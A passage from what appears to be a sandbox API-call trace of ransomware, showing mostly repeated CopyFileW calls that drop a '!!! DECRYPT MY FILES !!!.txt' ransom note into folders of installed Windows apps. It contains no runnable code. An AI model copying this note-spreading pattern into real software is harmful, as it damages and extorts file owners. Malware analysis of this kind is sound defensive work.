(lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0248.497] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.076] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.078] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.080] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Configuration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\configuration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.122] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.124] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.advertising\\themes\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.129] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\finance\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.131] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\foodanddrink\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.133] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.135] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\news\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.137] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\sports\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0249.139] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\weather\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0251.372] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.376] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\msadvertisingjs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.379] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Themes\\Fonts\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\themes\\fonts\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.381] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.384] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.391] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.407] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0254.410] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0255.812] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0255.815] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d40) returned 0x6fe3bb0 [0257.944] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.946] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ca8) returned 0x6fe3bb0 [0257.951] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.955] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.960] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.967] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.971] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.975] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0257.977] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.209] GetProcessHeap () returned 0x630000 [0261.209] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c64) returned 0x6fe3bb0 [0261.229] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherIcons\\30x30\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weathericons\\30x30\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c58) returned 0x6fe3bb0 [0261.243] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\210x173\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\210x173\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.256] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\WeatherImages\\423x173\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weatherimages\\423x173\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.270] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\Attribution\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\attribution\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.273] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Configuration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\configuration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.275] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Images\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\images\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.276] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.284] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.controls\\endoflife\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.287] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.289] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.290] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0261.293] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.239] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.587] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0264.588] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.589] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c34) returned 0x6fe3bb0 [0264.599] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.601] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.607] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.621] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0264.623] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program 